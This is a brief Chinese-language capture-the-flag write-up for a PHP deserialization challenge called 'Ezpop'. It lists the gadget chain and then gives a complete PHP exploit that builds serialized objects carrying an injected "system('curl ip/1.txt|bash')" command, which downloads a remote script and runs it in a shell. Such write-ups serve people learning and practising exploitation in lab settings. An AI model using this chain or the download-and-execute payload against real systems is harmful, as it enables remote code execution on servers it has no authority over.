Ezpop
emmmm,我记得我发了,刚刚一看没有,麻了,再发一次吧。因为疫情学校周末开始补课了,昨天就中午看了看题,做了一个web,挺简单的简单记录下。利用链很好找。说下坑点吧。当用hackerbar传入cmd参数时要使用raw,如下
然后导致我以为是需要原生类进行反序列化。
利用链
fin::__destruct()---->what::__toString()----->fin::run----->crow::__invoke()----->fin::world()----->fin::__call()----->mix::get_flag()
到达get_flag()后绕过#号过滤采用换行符。
exp 如下
<?php
class crow
{
public $v1;
public $v2;
}
class fin
{
public $f1;
}
class what{
public $a;
}
class mix{
public $m1;
}
//
$a = new fin();
$e = new fin();
$f = new fin();
$b = new what();
$c = new mix();
$d = new crow();
$a->f1=$b;
$b->a=$e;
$e->f1=$d;
$d->v1=$f;
$f->f1=$c;
$c->m1="\nsystem('curl ip/1.txt|bash');";
echo urlencode(serialize($a));
成功得到flag
另外两题没有看,有时间了再进行复现吧。